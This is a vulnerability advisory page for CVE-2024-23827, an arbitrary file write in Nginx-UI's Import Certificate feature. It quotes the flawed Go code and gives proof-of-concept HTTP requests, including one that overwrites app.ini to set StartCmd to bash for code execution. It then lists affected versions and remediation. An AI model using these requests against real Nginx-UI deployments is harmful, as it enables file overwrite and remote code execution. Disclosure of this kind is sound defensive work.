CVE-2024-23827: Nginx-UI arbitrary file write through the Import Certificate feature

Published Jan 29, 2024
·
Updated

Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

go func AddCert(c gin.Context) { var json struct { Name string json:"name" SSLCertificatePath string json:"sslcertificatepath" binding:"required" SSLCertificateKeyPath string json:"sslcertificatekeypath" binding:"required" SSLCertificate string json:"sslcertificate" SSLCertificateKey string json:"sslcertificatekey" ChallengeMethod string json:"challengemethod" DnsCredentialID int json:"dnscredentialid" } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, }

err := certModel.Insert()

if err != nil { api.ErrHandler(c, err) return }

content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, }

err = content.WriteFile()

if err != nil { api.ErrHandler(c, err) return }

c.JSON(http.StatusOK, Transformer(certModel)) }

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/writefile.go#L15

go func (c Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil.

err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return }

err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return }

if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } }

if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } }

return }

PoC

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/tmp/test","sslcertificatekeypath":"/tmp/test2","sslcertificate":"test","sslcertificatekey":"test2"}

bash root@aze:~/nginx# ls -la /tmp/test -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/root/nginx/app.ini","sslcertificatekeypath":"/tmp/test2","sslcertificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","sslcertificatekey":"test2"}

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash

For the new config to be applied the app needs to be restarted

!image

Impact

Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

Other sources

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.

NVD

Affected Software

81 affected componentsFixes available
go/github.com/0xJacky/Nginx-UI<2.0.0-beta.12
2.0.0-beta.12
NginxUI Nginx UI=1.2.0
NginxUI Nginx UI=1.2.0-alpha2
NginxUI Nginx UI=1.2.0-alpha3
NginxUI Nginx UI=1.2.0-alpha4
NginxUI Nginx UI=1.2.0-rc1
NginxUI Nginx UI=1.2.0-rc2
NginxUI Nginx UI=1.2.0-rc3
NginxUI Nginx UI=1.2.1
NginxUI Nginx UI=1.2.2
NginxUI Nginx UI=1.3.0
NginxUI Nginx UI=1.3.0-rc1
NginxUI Nginx UI=1.3.1
NginxUI Nginx UI=1.3.1-fix
NginxUI Nginx UI=1.3.2
NginxUI Nginx UI=1.3.3-rc1
NginxUI Nginx UI=1.4.0
NginxUI Nginx UI=1.4.0-rc1
NginxUI Nginx UI=1.4.1
NginxUI Nginx UI=1.4.2
NginxUI Nginx UI=1.5.0
NginxUI Nginx UI=1.5.0-beta1
NginxUI Nginx UI=1.5.0-beta2
NginxUI Nginx UI=1.5.0-beta3
NginxUI Nginx UI=1.5.0-beta4
NginxUI Nginx UI=1.5.0-beta4_fix
NginxUI Nginx UI=1.5.0-beta5
NginxUI Nginx UI=1.5.0-beta6
NginxUI Nginx UI=1.5.0-beta7
NginxUI Nginx UI=1.5.0-beta8
NginxUI Nginx UI=1.5.0-beta9
NginxUI Nginx UI=1.5.1
NginxUI Nginx UI=1.5.2
NginxUI Nginx UI=1.6.0
NginxUI Nginx UI=1.6.0-fix
NginxUI Nginx UI=1.6.1
NginxUI Nginx UI=1.6.2
NginxUI Nginx UI=1.6.3
NginxUI Nginx UI=1.6.5
NginxUI Nginx UI=1.6.6
NginxUI Nginx UI=1.6.7
NginxUI Nginx UI=1.6.8
NginxUI Nginx UI=1.7.0
NginxUI Nginx UI=1.7.0-patch
NginxUI Nginx UI=1.7.1
NginxUI Nginx UI=1.7.2
NginxUI Nginx UI=1.7.3
NginxUI Nginx UI=1.7.4
NginxUI Nginx UI=1.7.5
NginxUI Nginx UI=1.7.6
NginxUI Nginx UI=1.7.7
NginxUI Nginx UI=1.7.8
NginxUI Nginx UI=1.7.9
NginxUI Nginx UI=1.8.0
NginxUI Nginx UI=1.8.1
NginxUI Nginx UI=1.8.2
NginxUI Nginx UI=1.8.3
NginxUI Nginx UI=1.8.4
NginxUI Nginx UI=1.8.4-patch
NginxUI Nginx UI=1.9.9
NginxUI Nginx UI=1.9.9-1
NginxUI Nginx UI=1.9.9-2
NginxUI Nginx UI=1.9.9-3
NginxUI Nginx UI=1.9.9-4
NginxUI Nginx UI=2.0.0-beta1
NginxUI Nginx UI=2.0.0-beta10
NginxUI Nginx UI=2.0.0-beta10_patch
NginxUI Nginx UI=2.0.0-beta11
NginxUI Nginx UI=2.0.0-beta2
NginxUI Nginx UI=2.0.0-beta3
NginxUI Nginx UI=2.0.0-beta4
NginxUI Nginx UI=2.0.0-beta4_patch
NginxUI Nginx UI=2.0.0-beta5
NginxUI Nginx UI=2.0.0-beta5_patch
NginxUI Nginx UI=2.0.0-beta6
NginxUI Nginx UI=2.0.0-beta6_patch
NginxUI Nginx UI=2.0.0-beta6_patch2
NginxUI Nginx UI=2.0.0-beta7
NginxUI Nginx UI=2.0.0-beta8
NginxUI Nginx UI=2.0.0-beta8_patch
NginxUI Nginx UI=2.0.0-beta9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 2.0.0-beta.12
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.0.0.beta.12
  3. Configuration

    Patch/implement input validation for the Import Certificate feature so that ssl_certificate_path and ssl_certificate_key_path cannot be used to write arbitrary filesystem paths (e.g., prevent overwriting app.ini and restrict writes to allowed certificate directories).

    Nginx-UI (Import Certificate feature) Path validation for ssl_certificate_path / ssl_certificate_key_path = enforce
  4. Operational

    Because the Import Certificate change can overwrite configuration such as StartCmd and requires the app to apply new config, restart the Nginx-UI application after applying the fix (the material states: “For the new config to be applied the app needs to be restarted”).

  5. Operational

    Review for any configuration files that may have been overwritten via the Import Certificate arbitrary write (example shown overwriting StartCmd in app.ini). If present, restore expected configuration and rotate any exposed secrets such as JwtSecret/NodeSecret if they were exposed or modified before the fix.

Event History

Jan 29, 2024
CVE Published
via MITRE·04:07 PM
Data Sourced
via MITRE·04:07 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·10:30 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-23827?

CVE-2024-23827 is considered a high severity vulnerability due to arbitrary write access being allowed in the Import Certificate feature.

2

How do I fix CVE-2024-23827?

To fix CVE-2024-23827, upgrade to version 2.0.0-beta.12 or later of the Nginx-UI.

3

What types of systems are affected by CVE-2024-23827?

CVE-2024-23827 affects multiple versions of Nginx-UI, primarily versions from 1.2.0 up to but not including 2.0.0-beta.12.

4

What is the nature of the vulnerability in CVE-2024-23827?

CVE-2024-23827 allows arbitrary file write due to insufficient validation on user input for certificates.

5

Is CVE-2024-23827 remotely exploitable?

Yes, CVE-2024-23827 can be exploited remotely by an attacker with access to the Import Certificate feature.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203